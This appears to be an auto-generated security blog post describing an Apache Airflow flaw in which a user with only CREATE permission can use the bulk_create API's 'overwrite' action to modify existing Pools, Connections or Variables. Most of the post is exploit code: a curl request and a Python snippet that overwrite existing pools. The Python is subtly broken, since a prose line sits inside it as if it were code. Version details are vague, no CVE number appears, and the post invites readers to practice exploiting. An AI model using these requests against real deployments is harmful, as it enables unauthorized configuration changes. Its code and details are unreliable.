Listen to this Post
How the mentioned CVE works:
The vulnerability exists in Apache Airflow’s bulk create API endpoints for managing Pools, Connections, and Variables. A user with the ‘CREATE’ permission but lacking the ‘UPDATE’ permission can exploit the ‘overwrite’ action parameter. When this parameter is used in a bulk creation request, it performs an upsert operation. This means if a resource with the specified name already exists, the API will overwrite its values instead of creating a new one. Consequently, an attacker with only CREATE privileges can effectively modify existing, potentially sensitive configurations by submitting a crafted request that targets pre-existing entries. This bypasses the intended permission model, allowing unauthorized updates and leading to a privilege escalation.
Platform: Apache Airflow
Version: Specific versions affected
Vulnerability: Privilege Escalation
Severity: Moderate
date: 2024-10-30
Prediction: 2024-11-13
What Undercode Say:
curl -X POST "https://airflow.example.com/api/v1/pools/bulk_create" \
-H "Authorization: Bearer <USER_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"pools": [{"name": "existing_pool", "slots": 100}], "action": "overwrite"}'
from airflow.api.client.local_client import Client
client = Client(None, None)
User has CAN_CREATE but not CAN_EDIT on Pools
response = client._request(f"/api/v1/pools/bulk_create", method="POST", json={
"pools": [{"name": "default_pool", "slots": 1}],
"action": "overwrite"
})
How Exploit:
Attacker uses bulk_create API with ‘overwrite’ action to modify existing Pools, Connections, or Variables without having the UPDATE permission.
Protection from this CVE:
Apply patch from Apache. Restrict bulk_create API access. Enforce UPDATE permission checks for overwrite actions.
Impact:
Unauthorized modification of critical Airflow resources. Privilege escalation. Disruption of workflows via Pool slot manipulation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
